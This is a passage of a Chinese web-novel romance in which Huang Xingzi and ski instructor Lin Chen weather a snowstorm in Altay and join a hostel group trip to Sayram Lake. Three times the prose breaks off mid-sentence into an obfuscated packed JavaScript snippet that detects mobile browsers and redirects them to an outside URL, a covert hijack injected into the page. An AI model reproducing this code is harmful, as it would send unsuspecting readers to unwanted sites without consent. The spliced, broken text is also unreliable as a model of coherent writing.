“真的啊。”黄杏子惊讶,“怎么样?” “过啦。” 黄杏子在电话那边鼓掌,“太厉害了表姐,不愧是985毕业的高材生。” 表姐被她哄得心花怒放,腿边小糖豆儿听着声音也跟着鼓掌,她把孩子放到一边起身,“好了,我去给小糖豆儿泡奶了,你好好玩,姐姐等你的好消息哦。” “好。” 4. 阿勒泰 新疆天气多变,黄杏子上午打开天气预报看还是晴天,这会儿再次打开弹出八点有暴风雪预警。飘小雪的时候黄杏子刚和蔺忱取得联系,问他什么时候回去。 要是再晚上一点儿,说不准就下大了,万一半路撞上暴雪会很危险。再糟糕一点,可能都没法顺利回去。要不然他们可以买个馕路上充饥,赶在暴风雪前面回去。 蔺忱也是这么想的,两人去出口的路边摊子上买了馕,抬头的时候,落下来的雪好似在一瞬之间变大,又猛又急,打在脸上携带着寒气,不知道的还以为是它们要去赶集。 黄杏子心道一声不好,连忙拉着蔺忱就近找了个地方躲雪,想等雪下小一些再走。 等了一会儿,非但没有要小下来的迹象,更是舞出了一种辣手摧花的暴力美学,黄杏子从未见过那么大的雪,屋顶地面迅速覆上浅浅的白被,眼前在刹那间起雾,睫毛落了雪,痒痒凉凉的。 蔺忱回完消息再抬眼找人,黄杏子已经跑到外面去拍照了,一会儿抬手接雪,一会儿举着手机转圈,完全是小孩子心性。 黄杏子冲他招招手,“你帮我拍个视频,就站在这里帮我举着就好。” 蔺忱走过去,这姑娘贼心一起,脖子里忽地一凉,扭头对上黄杏子“不怀好意”的笑容,他心念一动,还就想在这儿把仇报回去了。 他抄起一捧雪捏成一个球扔过去,黄杏子被打了个正着,她揉着后背懵了一瞬,随即气急败坏,“我靠蔺忱!你怎么那么小气!” “你要惹我,你就别嫌我小气。”蔺忱乐呵呵笑着,长腿一勾躲开她的雪球,“咱俩好好掰扯掰扯,到底是谁小气?”只许州官放火,不许百姓点灯啊。 “我还就小气了!”黄杏子一手团一个雪球,噗呲噗呲朝蔺忱扔,小样,我还治不了你了。 蔺忱:“你有听过一个词吗?” 黄杏子警惕地看着他问什么词,蔺忱就哈哈大笑说声东击西啊,还好他还没有欠打到趁机砸她雪球,但黄杏子可不讲信义,出门在外面子是自己给的。 黄杏子抹了把脸上的雪,蹲在地上堆了个包心菜大小的雪球,趁他发呆的工夫小跑到他身前全身用力扔了过去,雪球是砸过去了,人也砸进去了。 蔺忱懵了,脑袋撞到他胸口的黄杏子也懵了。 她的姿势实在是不雅观,完全像一个电视剧里欺负柔弱的女流氓,她的双手撑在男人分明有型的腹部,甚至能感受到源源不断的温度。 黄杏子连忙从地上爬起来,难得的心虚,“对不起……你没事吧。” 蔺忱的脸色实在算不上好,耳朵红红的,不知是冻的还是有别的原因。他冷着脸咬牙切齿:“黄杏子你……”黄杏子只是一味双手合十讪讪地笑。 “是不是想谋杀……”蔺忱越想越气,一把握住她的手腕把人扯到有屋檐遮挡的地方,“自己把雪抖抖掉,不觉得埋汰?” 黄杏子看了眼他头上同款的“埋汰发型”,“哦”了一声,打开手机前置摄像头拨掉身上的积雪,提醒道:“你身上也有。” 蔺忱闭了闭眼,“我知道,还拍不拍?” 黄杏子闻言一愣,“拍!” 她笑嘻嘻把手机递过去,“好人!蔺忱,你就是个大好人,那句话叫什么来着?善良的人好运常在!” 神特么善良的人,谁要当大好人,蔺忱简直无语了,就没见过脑回路这么清奇跳脱的女人。 - 这雪一直不停的下,短短十几分钟已经到了脚踝的高度,照这个猛烈程度,再过半小时就能高到膝盖,这个天气状况路肯定是上不了了。 雪场紧急封闭,大量游客留滞在服务中心的大厅里,景区周边的酒店民俗生意爆满,蔺忱打电话去问的时候,好几家都说订完了。 只有离得比较晚的一家说还有一间大床房,再远一些的就在园区一公里之外的又或者是大几千一间死贵的酒店。 蔺忱又确认了一遍只剩一间房了吗,没别的房间了?前台说是的先生,其他房间都在前面被订完了。 黄杏子在旁边听着,闻言劝道:“算了,随便凑合一下吧,有总比没有好,你再犹豫万一最后一间房也没了呢?咱们到时候都只能露宿街头。” 是一家小旅馆,装修老旧但还算干净,两人吃完饭徒步过去办入住,反应过来蔺忱要走,黄杏子扭头喊住他,“你干嘛?” “我去车里睡。”蔺忱头也不回。 黄杏子仿佛在看傻子,“有床你不睡?这么冷的天想冻成冰雕那当我没说。” 最后蔺忱还是留下来了,为了不被明天一早起来发现自己冻成一座冰雕。 房间实在是不大,新疆传统风格的印花装饰布置,没有沙发,只放了一张小桌子,过道狭窄,过夜勉强凑合。 黄杏子在中间放了一个枕头,背对着他睡,蔺忱习惯平躺,闭上眼睛刚准备睡觉,女人身上柑橘沐浴露的香味钻进鼻腔,味道很淡,却消散不掉,惹得人心烦。 她睡相很好,不过几分钟,另一边很快传来平稳的呼吸声。 蔺忱翻了个身,躺了好一会儿才沉沉睡去。 - 第二天大雪停歇,天气放晴,风停了,阿勒泰又恢复了往日的平静。 “肖玉理托人找到我这里来了,说要过来玩,你自己还是想想吧,你要是不愿意我就不回了。”青旅老板说,“但是话又说回来,他这人你又不是不知道,最会死缠烂打。” 他就是倔,死脑筋,量在他对待蔺忱是真心的,他才会屡次三番帮他给蔺忱传话,尽管蔺忱一直没有要松口的意思。 肖玉理说要来已经不是第一次,蔺忱真怕他一个发疯逃了训练就一声不吭跑过来了,他是真能干出这种事来,他教练会恨死他的吧。 “把我微信推给他,我自己跟他说。”蔺忱皱皱眉,语气淡淡。 蔺忱当初换掉手机卡断了和外界的一切联系隐退养伤,同样没联系肖玉理,这是他理亏,为了逃避现实一并排除对他好的朋友。 “那个啥,你们雪场都关门了,你今天下午应该没事吧,帮我带个队呗,下午我要去市区理发。”青旅老板笑呵呵道。 蔺忱笑骂,“我是你的免费劳动力吗?你自己算算,多少次了。” 他从旁边随手抽了一把剪刀作势就要往他头上咔嚓一刀下去,“理什么理,有什么好理的,不是要理发吗?一共那几根毛,我帮你理!” 老板连忙护住自己的头发,“你不要乱说,我头发可多了。” 再说了,上次明明是自愿的,你以为我看不出来你和那姑娘关系不简单啊,他在心里默默嘀咕。 - 下午青旅组织团建,目的地是赛里木湖,黄杏子此番前来本就是有这个打算把这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816860|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景点能逛的全部逛一遍,她自然是极为向往的。 从前都是和认识的朋友一同逛街旅游,她还没有体验过跟一群因为住宿临时组建在一起的陌生人旅游过,这种旅行体验对于她来说十分新奇。 等待同行住客全部到齐的间隙,她点开小红薯平台,按照早上在运营教程里学到的方法活跃账号,边浏览页面边点赞收藏评论,顺便规划之后新疆旅行的路线,以至于连有人在她身边坐下都没察觉到。 黄杏子没偏头,随口一问:“你也要去?” 蔺忱一脸想不到吧的表情,敞着两条腿大大咧咧往后一靠,“我带队。” 黄杏子不知道想到了什么,突然笑出了声,“今天是蔺队长?” 蔺忱不置可否,“你是领队钦定的助理。” 蔺忱下楼的时候人差不多都到齐了,零散地分布在大厅观演区域的沙发或者座椅上,群里接龙的人数一共十二个,还有一个没到。 蔺忱拉了个群,问还有谁没到,姗姗来迟的住客在群里回复说上个厕所马上过来,蔺忱在群里提醒,要上厕所的都去上一下,一会儿进了无人区可没地方给你上。 黄杏子做完了任务,歪着头品了品,还真让她品出点儿跟着举小旗的旅游团导游走的味道,但是他们可不同于北京南京那种摩肩接踵看人头的景区,在车里要比顶着烈日要惬意多了。 选择住青旅的大多数是自驾,没车的和有车的挤一挤,最后凑出四辆车出来,临时车队浩浩荡荡沿着国道往南开。 蔺忱分发了对讲机,一车一个,他的车打头,另一个经验比较丰富的老司机垫后收尾,其余几辆车夹心饼干一样夹在中间。 对讲机刺啦刺啦的电流声在车里响了几下,头车时不时播报前方路况, “喂喂喂——注意注意。”蔺忱清冽沉静的声音在狭小的车内空间响起,“前方有大型客车会车,注意避让。” “车道右边有牛群在走,全体车辆注意避让,慢点开啊它要挡路你就停一下,注意安全,这种牛都是人家的财产身家,我们可赔不起啊。” 后面的车接龙似的一个接着一个回复收到,滋滋声又起,忽然有人讨论起这里的牛多少钱一头,提问的那个大哥约莫来自东北,话里一股大碴子味儿。 蔺忱单手拿过对讲机,也用北方语调秀了一段东北味的普通话,“看品种的,本地牛一两万左右一头,品种好一点的三四万。” “有些牧民家里10到20头,富裕一点的一两百头,再富裕一点的三百往上,多少钱你自己算算看,要不是我实在干不来这种事儿,我也想去养养牛算了。” 那人哈哈大笑,“哎呦”了一声,那股浓郁的腔调更浓了,“老乡啊兄弟。” 蔺忱也笑,说还真不是,我河北的,在东北待过。 尾车:“领队,后方有一辆红色的车辆要超车。” 蔺忱:“全体车辆靠右减速,让他超。” 黄杏子把玩着对讲机爱不释手,“你这对讲机怎么用?” “按住左边第一个键说话。”蔺忱偏头看了她一眼,哂笑,“你这一看就我讲的时候没听啊。” 黄杏子“嘁”了一声,手指抠着按键的边缘,“我听了,没听清而已。” 前方急转弯道又一辆卡车对向开过来,她竖起食指放在唇边,“OK,你别说话了,我来播报。” 5. 赛里木湖 车队一路沿着额尔齐斯河向南,途中经过河谷绿洲、荒漠油田,积雪慢慢化了,这片广阔无边的土地毫不吝啬地把全貌展露在人们眼前。 一眼望不到头的,连绵的土丘因为风的侵蚀形状各异,在太阳的照射下呈现微妙的色彩,天地广阔,给人以虚无缥缈之感,人就成了沙漠里的一粒米。 半个小时后,两边视野变得愈发开阔,山丘平滑下来,黄杏子看到了广袤荒凉的戈壁,怕风沙入眼,她连忙关上窗。 车队进入准葛尔盆地,盆地边缘的群山仿佛拉成一条直线横在平直马路的尽头,而他们正朝着尽头行驶。 蔺忱把天窗打开,示意黄杏子仰头看天。黄杏子“哇”了一声,“这个天好蓝!” 她偏过头问:“新疆的天每天都这么蓝吗?像假的一样。” 蔺忱对她毫无文学素养的描述无力地吐槽了一句真会形容,“只要是晴天,那确实都那么蓝。” 黄杏子一路都在用手机记录,用她的话来讲就是拍不完根本拍不完,这么美的风景根本不可能看腻,她愿意在这里待一辈子。 出了盆地,车队在服务区停下休息。 无人区里的厕所是旱厕,实际上都算不上是服务区,水泥筑成的灰白小屋和一家卖东西的小店,孤零零屹立在呼呼作响的寒风中。 这个茅厕实在是简陋,破败的墙体漏着一扇窗,脱裤子蹲下来的时候屁股都凉飕飕的,黄杏子解决完事情后没有一刻停留。 本想立马回车上避风,目光被小摊上颜色漂亮的石头吸引,身后传来蔺忱的声音:“看上哪个了?哥给你买。” 黄杏子没理他,问老板这是什么石头。 老板指着不同区域的石头,说这些颜色鲜艳的是金丝玉,水头都还不错,这个是玛瑙,那个是和田玉,那些表面光滑的都是戈壁玉,都是他从戈壁滩上捡回来的。 黄杏子只当自己是外行人听不懂,和田玉倒是经常听过,她脖子上挂着的平安扣就是新疆产的和田玉,她照着直觉指了一块色泽莹润的黄色玉石,“老板,这个多少钱?” 老板拿起来对着阳光给她展示,“这个是金丝玉,六十块钱一块,旁边那些二十块钱一块卖给你,都是戈壁玉。” “那这个呢?”她又指了一块。 老板懒洋洋眯着眼睛道:“和田玉籽料,67万。” 闻言她连忙往后退了一小步,妈耶,这么小小一块石头,怎么这么贵,看着也不太像和田玉。 最后黄杏子看了又看,还是舍不得这些迷人眼球的石料,犹犹豫豫不肯走,她从前不感兴趣的,要不怎么说当你渐渐融入一个地方,你会迷上这个地方的文化呢。 蔺忱站在一旁嘲笑她磨磨蹭蹭想买又不肯买,眼睛都黏在这些石头上面了,黄杏子不懂行怕买到假的,只好偏过头眼巴巴地求助,“你懂行吗?” 蔺忱爱莫能助地耸了耸肩说“不懂”,问她喜欢哪个,黄杏子说不知道,他没办法,只能建议她选个自己觉得好看的。 黄杏子最后挑了串手串,刚要拿出手机,蔺忱手快一步率先扫了二维码付钱。 “谢谢啊。”黄杏子并肩走在他身侧,压低声音若有所思道,“话说那块和田玉真那么贵啊?” 蔺忱眼底笑意渐浓,“他忽悠你的,那块的成色还不到羊脂白,最多一万,要是水头真那么好,就不放在这里买了。” “他们这种还有可能是自己捡的,到市区那种小摊上的大多数都是去内地批发的,这种玉石戈壁上运气好的话一抓一大把。” “去内地批发?”黄杏子闻言龇牙咧嘴,“那很坏了。” 蔺忱并没有朝着停车的方向走,反而越走越偏,那个方向什么都没有,黄杏子觉得奇怪伸手拉他的袖子,“你干嘛去?” 蔺忱瞥了眼她扯袖子的动作,“走啊,带你去捡石头。” 黄杏子傻眼,“这里就有?你怎么不早跟我说!” “你又没问。”蔺忱阔步走在前面,见她没跟上来,稍稍放慢了点儿脚步,“值钱的玉不一定能捡到,普通的玉石倒是有的,捡回去做纪念。” 蔺忱弯腰捡了块石头,放在手里颠了颠,转而放在她手心,“这是羊脂风凌石。” 黄杏子蹲下翻找着脚下的小碎石,看见一块色泽明润的透明石头捡起来,“这是什么?好通透的颜色,蓝色的水晶吗?” 蔺忱也凑过来,“这是海蓝宝吧,我看看。” 戈壁上风大,耳边风声猎猎,为了今天赛里木湖能够出片,黄杏子穿了身长裙踩着马丁靴,裙摆的形状吹得变形,她一张脸冻得泛红,涂了唇釉的嘴唇干裂。 “风有点大,冷了就回车上去。”蔺忱说。 “不冷不冷。”黄杏子忙着赏鉴石头,还不忘录视频素材,边录边嘴里不知道在碎碎念什么,语气生动,头发被风吹得凌乱,她随手撩开遮挡视线的碎发,根本没法分出精力来关注别的事情。 “嗳,你别说,这好运气可能真被我碰上了。”不一会儿她跑过来,“这是不是刚刚摊子上那种金丝玉,还有这个,颜色特别漂亮。” 看见他手里抓了一把,语调一转,“你手里怎么那么多?” “捡的啊。”蔺忱用脚拨开底下的碎石沙砾,又捡了一枚,打算回去找加工师傅给她做个手串玩玩,都是遍地可见的戈壁玉。 黄杏子想那不是废话吗,不过他手里那些石头好像都挺漂亮的。捡石头上瘾,两人直到集合才揣着石头往回走。 - 进入伊犁地区的时候开始下小雪,湛蓝的天空被一层灰白色的雾气笼罩,云层密布,黄杏子望着天心下一沉,满怀的期待跌入谷底,他们不会看不到赛里木湖最美的样子了吧。 这雪下得真不是时候,阿勒泰这会儿还是大晴天,伊犁居然在飘雪,太扫兴了。 黄杏子打开天气预报一看,差点气笑了,软件显示现在还是晴天。她呵呵两声,“不是,川剧变脸吗?这么喜怒无常。” 临时拉的团建小群里也哀嚎声一片,消息叮叮咚咚响个不停,舟车劳顿身心疲惫,其实大家这会儿情绪都有些低落了,基本对今天看到赛里木湖的全貌不抱希望。 雾气蔓延,此时的能见度一降再降,几辆车开着雾灯缓慢行驶在四散的迷蒙里。 “要不我们再等等?毕竟来都来了。”潜意识里的不愿放弃驱使黄杏子做了出头鸟,她在群里提议道。 黄杏子还抱着一丝希望,或者说是不甘心,开了这么久的车来到这里,从小到大一贯的思维潜意识告诉她,到了这一步再半途而废无功而返,这太令人不爽了! 心口堵着一股气不上不下,难受得她想对着无边无际的大雾尖叫,问它凭什么,凭什么要把这片美丽私藏起来! 她用的是询问的语气,本以为群里会有人说“到时候雪下大了怎么办”,“算了吧太晚了有点危险”类似的言论,令人意外的是这群相互不熟的陌生人一个比一个看得开。 他们找了块儿空地开下去休整一下,商量因为雨雪天气打乱的行程,投票一致决定在赛里木湖斥巨资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816861|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住一晚,碰碰运气,赌明天早上天气能不能放晴。 十二个人众口难调,尾号836的车主是个年轻的小伙子,闻言脸上露出些许为难的表情,“房间我就不用了,我车里带了帐篷,我晚上住帐篷吧。” “娘们唧唧的,小兄弟,出来玩果断一点。”东北大哥豪爽拍板,“住!钱不够我资助!” 这么极端的天气睡帐篷是不可能的,睡着睡着估计就失温了,那命还要不要了。 黄杏子没有想到能那么顺利,安下心找了个舒服的姿势睡了一会儿,等再睁眼是隔着玻璃被呼呼的风声吵醒的。 他们的车子停靠在路边,白雾状态的风正面打在前挡风玻璃上,风声很大,带着毁灭性的力量,穿过汽车,已然分不清是风还是雪。 远处山与湖面连成一片苍茫的白,马路白雾蒙蒙,仿佛置身地球以外。 黄杏子彻底清醒过来,直起身子问蔺忱,“这是哪儿啊?” “赛里木湖。”蔺忱揉了揉眼睛,他待在车上没下去有些犯困。 “他们人呢?”四辆车都停在一起,车上没人,不知道去哪儿了。 蔺忱困倦地眯了眯眼睛,下巴朝外扬,“都在那儿玩呢。” 黄杏子眯着眼辨认了一下,远处确实有几个小黑点。蔺忱缓过神,扭头就瞥见身旁女人欲要打开车门的动作,语气不善,似乎在指责她的不省心,“把衣服穿好再出去。” 黄杏子已经迫不及待了,动作迅速扣上大衣的扣子,穿戴整齐了围巾手套,刚迈下一条腿,猛地缩回来。 这风实在太冷了,使劲儿往人衣着单薄的地方钻,感觉一脚踏进了冰水里。 “这风……真的不会把人吹跑吗?”她迟疑。 蔺忱一听乐了,装模做样打量她一眼,“就你那小身板儿,你别说,还真有可能,刮一阵妖风就把人卷跑了。” 黄杏子瞪他一眼,知道他这人嘴巴里说不出什么好话,“我要是被吹跑了就拉上你,你也别想跑。” 说着她下车砰的一下关上门,身体力行把蔺忱从驾驶座拽出来,冲他露出一个灿烂无邪的微笑,手上力气却丝毫不留情,拖着他往前走。 蔺忱下车时还被绊了一个踉跄,黄杏子两只手牢牢抓住他的胳膊,叫她松开,她偏不松,抱得更紧了。 两人就这么半拉半就前进着向前,但很快她就被眼前这狂野的景致吸引住目光,果断“抛弃”了蔺忱。 黄杏子迎着风前进,眼睛直直望着前方,心潮澎湃。 风雪穿过手臂、发梢,身体的每一处都和刺骨的寒冷相接,她觉得自己的身体前所未有的轻盈,从心窝到四肢全都热乎乎的。 迎面与风拥抱呼吸有些困难,黄杏子却不管不顾猛猛吸了一大口气,喉咙口传来腥甜,她才受不了地背过身子挡风,咯咯咯自顾自地笑起来。 她是一只鸟吧,整片天空都是她的,无数次与自己的对话探讨她快乐吗,快乐到底重不重要,这个问题实在是太难回答了,但是现在的黄杏子能给出一个答案,她很确信,此刻的她很快乐。 黄杏子张开手臂,在雪地上跑了起来,突然“啊”地朝风里喊,像个小疯子一样。风把她的声音带到远处,得到了意料之外的回应。 不远处同行的队友似乎听到了声音的招揽,也“啊”地大声喊叫了一声,随之而来的是此起彼伏的一声声。 脚下一片白色,湖面结了冰,踩上去滑滑的,天气恶劣,也看不到传说中的冰推、冰泡、冰花,然而黄杏子一点儿也不介意。 6. 赛里木湖 傍晚的时候雪停了,黄杏子正在民宿里整理剪辑拍摄的视频,看见群里有人@所有人,停下动作点开看了一眼,有人在群里说外面雪停了,喊大家出门找个地方吃饭,蔺忱帮忙@了所有人。 黄杏子喊醒还在睡觉的室友,两人拿上随身物品出门汇合。 出门的时候天已经微微泛蓝,冬天蓝调时间短,天色很快就黑下去了。 几人翻攻略在饭店和大排档中选了后者,大排档以压倒性优势取胜。 黄杏子就是给大排档投票的那个,用她的话来说就是大排档比正经饭店更有感觉,问她什么感觉,她也说不清。 冬雪、群像、大排档,从未有过的体验,听起来就很酷不是吗。 店员正在清理积雪,一队人分成两桌坐在露天的雪地里,服务员拿来菜单让他们勾选。 黄杏子挨着室友坐下,抽了张纸巾拭去桌上剩余的雪水,闻到隔壁桌飘来的羊肉串香味,口腔里疯狂分泌着唾液。 菜单在一桌人之间传阅,传到她的时候黄杏子看了眼价格,十块钱一串,先来了一人一串的量。 菜单轮了一圈回到蔺忱手中,几乎是一个人点了一个菜,把新疆特色的菜点都上了一遍,他浏览了一遍又接过铅笔勾上一道,“赛里木湖的高白鲑挺有名的,点一份可以尝尝看。” 黄杏子趁着等菜的间隙构思了会儿脚本,听着他们聊天,人到了一个不认识的地方或多或少都会变得更e一些,饭桌上热热闹闹的,时不时接连传来开怀的笑声。 他们依靠一段共同的住宿经历凑在一起,知道之后可能再也不会相见,因此也格外珍惜这一段偶然的缘分。 东北大哥说他在西安工作,每年都会抽时间自驾旅游,旅途中遇见了许多志同道合的驴友,组成了一个自驾车队,他几乎游历完了大半个地球。 在酒吧当DJ的酷姐大学毕业之后并没有成为一名医生,换过十几种职业,当过纹身师,也曾经是赛车手,她说她的人生应该有无限种可能,她不会停止。 在国企工作的打工人被公司裁员,女朋友拒绝了他的求婚,跟别人跑了,处于待业状态,现在靠送外卖赚点生活费。累死累活还要受资本家压榨,一气之下跑新疆来了。 有和黄杏子一样工作了几年的苦命打工人和刚毕业gap的大学生,出来旅游换换心情。 得知黄杏子裸辞的事迹,饭桌上讨论的声音明显大了不少,问她到底是怎么有这个勇气做下这个决定的。 “我也想裸辞,但是网红这个职业你知道的,像我们这种18线小喽啰,违约金根本负担不起啊。”身穿貂毛大衣的女人光鲜亮丽的脸上罕见地出现了黯淡的表情。 “到底是谁说网红这个职业光鲜亮丽的。”女人唾弃地嗤了一声,“屁,都是装的。” “现在这个大环境,干哪一行都不轻松啊。”国企打工人叹了口气摇摇头。 “走一步看一步呗,实在熬不住了破罐子破摔我辞职回家开直播买农产品去。”说话是那天晚上玩桌游和黄杏子拼酒的那位大哥。 菜陆陆续续上桌,黄杏子指着一盘生切洋葱不可置信,“这什么,洋葱生吃吗?” 服务员介绍,“我们这道菜是手抓羊肉,选得是高品质的本地羊肉,鲜嫩多汁不会有羊膻味,皮牙子是配合着这道手抓羊肉吃的。您不用担心,我们这里的洋葱都是不会辛辣的。” 蔺忱率先夹了一片皮牙子放进嘴里,在一旁解释,“皮牙子就是新疆本地洋葱的称呼,吃吃看,真没什么冲鼻子的味道。” 坐在她右边的室友也夹了一筷子,发出“嗯~”的语气词,“真的还不错!” 看着碗里蔺忱给夹的羊肉和洋葱,又瞥了一眼他大口嚼洋葱的动作,黄杏子似信非信夹了一口嚼了两下,这本地洋葱品种确实不辣,还带着一股子清甜。 很特别的味道,口感比水果爽口一点,配合着鲜而不腥的羊肉,快准狠戳中黄杏子的味蕾。羊肉特别嫩,味道鲜美,皮牙子吃起来上瘾,很快又喊了服务员重新续上。 服务员端来烤盘,东北大哥见状扬声播报:“羊肉串来了,羊肉串来了!一人一根,不够再点!” 这里的羊肉串真实诚啊,块块结实饱满的放大版羊肉粒串在一根长签子上,沉甸甸的,和内地烧烤摊上的某些串串简直是superplus版,香得她口水都要掉下来了。 黄杏子若有所思,脸上若有若无的笑容变换,身旁蔺忱用胳膊肘蹭了她一下,“发什么呆,要凉了。” “我在想新疆的羊肉串能不能开到内地去……”黄杏子回神,喃喃道。 “近朱者赤,近墨者黑,你觉得呢。”蔺忱伸手弹了下她的脑门,“不知道你一天天在想什么。” 黄杏子摸了摸被他弹过的地方,温度还残留着,她掌心朝上伸手,毫不客气,“你帮我拿根牙线,卡牙缝了。” 用牙线挑掉卡在牙缝里的肉纤维,桌上的话题已经转向了新疆有什么好玩的,嘴里嚼吧嚼吧腮帮子不停,黄杏子竖起耳朵认真听着。 东北大哥是第二次来新疆了,比较有发言权,第一次来是夏季,独库公路、那拉提、喀什都去过,下次来打算去恰西和喀拉峻看看。 “禾木商业化比较严重,你们要是想要看比较原始的那种村落,白哈巴比较推荐。”东北大哥说。 “你们有去滑过雪吗?”有人问。 “我刷到过,好多博主拍出来,将军山那里傍晚可以看日落,还有蹦迪的。” 下面接话:“蔺哥不就是滑雪教练吗?要学的去报他的课,我们去帮忙提业绩!” “你可拉倒吧,领队可忙了,课都排满了吧。”有人哈哈笑着,反驳。 蔺忱忽然扭过头搭着她的椅背,“你之后打算去哪里玩?” 黄杏子“啊”了一声,她来之前并没有做任何旅游攻略,是想玩到哪儿算哪儿的,“我不知道,可能禾木、喀纳斯那边玩一圈吧。” 蔺忱“嗯”了一声,便没再说话。 836车主站起来给每一杯都续上卡瓦斯,琥珀色的冰镇饮料颜色晶莹剔透,冒着新鲜的白气,“多喝点,过了这个村就没这个店了啊。” 麦乳和蜂蜜的味道浓郁,发酵产生的自然风味在唇齿间留香,空气中冰雪的凉意沁人心脾,吹过来的仿若是夏日的风。 既然都说没度数了,那她也没什么顾忌,敞开肚子喝。一口羊肉一口卡瓦斯,吃得不亦乐乎。 这算是黄杏子来到新疆吃的第一顿大餐,来新疆算是来对地儿了,她这个肉食主义者是这个餐桌上吃得最认真的。 隔壁桌忽然有人响亮地咳嗽了两声,东北大哥举起盛了卡瓦斯的杯子,朝他们隔空递了递,豪爽地笑着,“敬青春,敬自由,敬不羁的勇气!” 这是他们住的青旅的标语,被东北大哥喊了出来。 黄杏子和大家一起站起身,拿起杯子喝了一口,接住他的话爽朗笑着:“敬青春,敬自由,敬不羁的勇气!” “cheers!”玻璃杯清脆的碰撞声撞碎被大雪埋葬的过往,欢笑把雪夜包裹,暖色的灯照亮他们洒脱的笑脸。 杯中液体轻晃,在相接那一刻达到顶峰,远行就有了意义。 从大学毕业朋友各奔东西之后,黄杏子再也没有一刻感到如此的放松,她终于明白了为什么有人喜欢一个人旅行,世界上会有那么多背包客,孤独和不安全禁锢不了他们追求自由的脚步。 生活的空白底色被路途上这群陌生人填满,眉目盈起高兴的泪光,她可能这辈子都不可能忘记这段旅程了。 入住青旅的第二个晚上,黄杏子抱着一种买醉的心态加入,脑子里想的都是破罐子破摔的无所谓,都这么糟了,还能糟到哪里去 和蔺忱睡的那一晚,她也没当真,萍水相逢就当是一种缘分,她也不亏。 之后,觉得什么都挺有意思的,凑在一块儿玩的脏小孩儿有意思,跳广场舞的大妈有意思,青旅骑摩托旅行的车队有意思,就连路边长歪的一棵草她也会想去摸一摸,从前不敢去做的任何事情都对她有无限的诱惑力。 黄杏子就像是打开了新世界的大门,重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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次日清早全员五点多起床追日出,黄杏子昨晚看了日出概率,有百分之八十的概率,天气应该会很不错,因而安安心心睡下了。 东北大哥随身带了小音箱,放了首OnePiece,日出的氛围感马上就上来了。 天边泛起蓝调,外面冷得人受不了,他们便躲到车里等,没过一会儿都忍不住开了车门往外跑,这点儿冷又算什么。 黄杏子看过的日出不少,山顶海边都看过,还是被赛里木湖这一场盛大得不似人间的日出震撼得说不出话。 淡淡的粉橙色慢吞吞向上盖过沉郁的蓝色,冰面被染成天际的颜色,倒映着远处雪山的模样,纯净、神圣。 黄杏子手里提着和民俗老板借的露营灯,见她忙着拍照没手拿,蔺忱伸手从她手里拿过来,女网红早就摆好了自拍支架,同行的女孩子们都找着角度自拍。 836车主和国企打工人不知从哪儿弄来两提啤酒,问蔺忱喝不喝,蔺忱接过仰头喝了一口,感叹着chill,他笑着说谢了兄弟,还是你们两个会享受。 太阳快要出来的时候雪山周围被橙色照亮,直到黄杏子扭头惊呼一声,红得滴血的阳光爬上雪山头,整个赛里木湖仿佛童话的世界。 “拍好了吗?”黄杏子来回跑了好几遍,轻喘着气,掰过蔺忱的手把手机拿回来,往雪地上一坐。 等到太阳完完全全升起来,蔺忱飞了无人机,组织大家上车顶拍集体合照。 “难怪你说日出日落你都看腻了,简直太美了。”黄杏子一步三回头,暗暗下定决心要赚很多很多的钱,然后再来新疆,每年都要来。 看完日出大家回民宿收拾好行李,车队环绕赛里木湖趁早出发了,清晨阳光柔软,赛里木湖的景色毫无保留地向他们打开,弥补昨日没能尽兴的遗憾。 离开赛里木湖的时候云开雾散,远处雪山清晰可见,今天是个毋庸置疑的大晴天。 7. 阿勒泰 交易兑现是在几天后了,青旅有提供公共办公区域,连着咖啡厅,黄杏子今天照例点了杯喝的搬着电脑下找了个空位就开始今天的工作。 白天忙着练习滑雪,晚上回青旅剪视频写文案,黄杏子这段时间过得忙碌充实,早就把自己和蔺忱还有一个约定的事儿忘在脑后。 花了两个小时剪完之前的vlog按时发出去,她关上电脑揉揉僵硬的脖子,抬起眸正好看见前面的沙发卡座那边坐着一道熟悉的身影,他身旁是一个穿得活泼甜美的女孩儿。 女孩儿不知道说了什么,蔺忱身体后仰也笑得开心,黄杏子路过的时候甚至能听到他轻笑的声音,懒洋洋的,清朗却又有些沙哑,撞击着耳膜。 他跟谁都挺聊得来的,黄杏子嗤笑。 把电脑放回房间,下楼的时候收到上次去赛里木湖时加的同行男生的微信,问她要不要一起去禾木。 微信是回来之后加上的,男生是体育学院的在校学生,和她算是校友,黄杏子所在的美术学院和体院隔路对望,对他们体院也比较熟悉,因而多聊了几句。 学弟【学姐,你明天有空吗?要不要一起去禾木。我也是一个人,我们互相可以有个照应。” 黄杏子不知道他哪里学来的这么老掉牙的约人措辞,下了楼梯随手回复掉,不失礼貌地拒绝。 银杏叶(裸辞版)【不好意思哦,没空】 